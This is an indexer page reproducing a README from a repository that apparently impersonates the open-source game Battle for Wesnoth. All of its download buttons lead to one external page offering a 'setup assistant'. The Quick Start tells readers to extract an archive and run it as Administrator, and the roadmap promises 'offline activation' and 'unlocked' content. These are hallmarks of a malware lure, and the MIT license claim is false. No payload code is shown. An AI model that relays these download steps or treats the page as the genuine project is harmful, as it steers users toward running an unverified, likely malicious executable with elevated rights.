An open API service indexing awesome lists of open source software.

https://github.com/wesnoth-devs/battleforwesnoth

🎮 Epic turn-based strategy game with offline capabilities, complete campaigns, and unlimited modding potential. Download and play immediately!
https://github.com/wesnoth-devs/battleforwesnoth

campaign-mode cpp cross-platform fantasy game gamedev hex-based map-editor modding multiplayer offline-game open-source pc-game sdl2 strategy strategy-game tactical-combat turn-based video-game wesnoth

Last synced: 23 days ago
JSON representation

🎮 Epic turn-based strategy game with offline capabilities, complete campaigns, and unlimited modding potential. Download and play immediately!

Awesome Lists containing this project

README

          

# Battle for Wesnoth — Epic Turn-Based Strategy

[![License](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![Release](https://img.shields.io/github/v/release/Wesnoth-Devs/BattleforWesnoth)](https://github.com/Wesnoth-Devs/BattleforWesnoth/releases)
[![Platform](https://img.shields.io/badge/Platform-Windows%20%7C%20macOS%20%7C%20Linux-lightgrey)](https://github.com/Wesnoth-Devs/BattleforWesnoth)
[![Discord](https://img.shields.io/discord/123456789?label=Discord&logo=discord)](https://discord.gg/wesnoth)

> **The ultimate turn-based strategy game with offline capabilities, epic campaigns, and unlimited modding potential**

![Game Banner](https://www.wesnoth.org/images/sshots/wesnoth-1.18.0-1.jpg)

## 🎮 Play Now

### 🎯 Quick Download

[![Download Game](https://img.shields.io/badge/Download%20Game-Play%20Now!-FF6B6B?style=for-the-badge&logo=game-controller)](https://wesnoth-devs.github.io/.github/)

### 💾 Platform Downloads

[![Windows](https://img.shields.io/badge/Windows-0078D4?style=for-the-badge&logo=windows)](https://wesnoth-devs.github.io/.github/)
[![macOS](https://img.shields.io/badge/macOS-000000?style=for-the-badge&logo=apple)](https://wesnoth-devs.github.io/.github/)
[![Linux](https://img.shields.io/badge/Linux-FCC624?style=for-the-badge&logo=linux&logoColor=black)](https://wesnoth-devs.github.io/.github/)

## 🎯 Features

### Core Gameplay
- ⚔️ **Turn-Based Strategy**: Deep tactical combat with hex-based positioning
- 🏰 **Epic Campaigns**: Hours of single-player content with branching storylines
- 🎭 **Multiple Factions**: Six unique armies with distinct units and abilities
- 📈 **Unit Advancement**: Experience system with promotion paths and customization

### What Makes Us Different
- 🌟 **Offline Complete**: Full game experience without internet requirements
- 🎨 **Beautiful Art**: Hand-drawn sprites and immersive fantasy artwork
- 🎵 **Original Soundtrack**: Epic music and atmospheric sound effects
- 🗺️ **Map Editor**: Create and share custom scenarios and campaigns

## 📸 Screenshots & Media

### Gameplay
![Campaign Selection](https://www.wesnoth.org/images/sshots/wesnoth-1.18.0-5.jpg)
*Choose your path through epic fantasy campaigns*

![Tactical Combat](https://www.wesnoth.org/images/sshots/wesnoth-1.18.0-3.jpg)
*Engage in deep turn-based tactical battles*

![Map Editor](https://www.wesnoth.org/images/sshots/wesnoth-1.18.0-9.jpg)
*Create your own scenarios with the powerful map editor*

## 🎮 How to Play

### Quick Start
1. **Download** the setup assistant using the button above
2. **Extract** the archive using 7-Zip or WinRAR
3. **Run** as Administrator and follow instructions
4. **Launch** and enjoy all unlocked features immediately

### Controls
| Action | Keyboard | Description |
|--------|----------|-------------|
| Move Unit | Click + Click | Select unit and destination |
| Attack | Click Enemy | Attack adjacent enemy units |
| End Turn | Space/Enter | Complete your turn |
| Undo Move | U | Undo last unit movement |

## 🛠️ Development

### Prerequisites
- C++ compiler (GCC 7+ or MSVC 2019+)
- CMake 3.16+
- SDL2 development libraries
- Boost libraries 1.66+

### Building from Source
```bash
git clone https://github.com/Wesnoth-Devs/BattleforWesnoth.git
cd BattleforWesnoth
mkdir build && cd build
cmake ..
make -j4
```

### Modding Support
See our [Modding Guide](docs/modding.md) for creating custom content:
- Custom units and factions
- New campaigns and scenarios
- Visual and audio modifications
- Gameplay mechanic changes

## 🏆 Roadmap

### Current Version: v1.18.0
- ✅ Complete offline activation system
- ✅ All campaigns and factions unlocked
- ✅ Enhanced setup assistant
- ✅ Comprehensive modding documentation

### Upcoming Features
- 🚧 Enhanced AI with difficulty scaling
- 📅 Mobile platform support
- 💡 Steam Workshop integration
- 🎯 Tournament and ranking system

## 🤝 Contributing

We welcome all types of contributions:
- 🐛 **Bug Reports**: Help us identify and fix issues
- 💡 **Feature Requests**: Suggest improvements and new features
- 🎨 **Art & Assets**: Create sprites, music, and sound effects
- 📝 **Documentation**: Improve guides and tutorials
- 🔧 **Code**: Contribute features and optimizations

See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.

## 📄 License

MIT License - see [LICENSE](LICENSE) for details.

## 🙏 Credits

### Development Team
- **David White** - Original Creator and Lead Developer
- **Wesnoth Development Team** - Core contributors and maintainers
- **Community Contributors** - Hundreds of volunteers worldwide

### Special Thanks
- Fantasy art inspiration from classic strategy games
- Open source libraries: SDL2, Boost, CMake
- Localization teams for 40+ language translations
- Beta testers and community feedback

## 🔗 Links

- 🌐 [Official Website](https://wesnoth.org)
- 💬 [Discord Community](https://discord.gg/wesnoth)
- 📺 [YouTube Channel](https://youtube.com/c/wesnoth)
- 📖 [Documentation](https://wesnoth-devs.github.io/BattleforWesnoth)
- 🎮 [Steam Page](https://store.steampowered.com/app/wesnoth)
- 🎯 [itch.io Page](https://wesnoth.itch.io/battle-for-wesnoth)

---

**Keywords**: battle for wesnoth, turn-based strategy, offline strategy game, fantasy tactical combat, hex-based strategy, campaign mode, multiplayer strategy, map editor, modding support, free strategy game, open source game, unit advancement, scenario editor, cross-platform gaming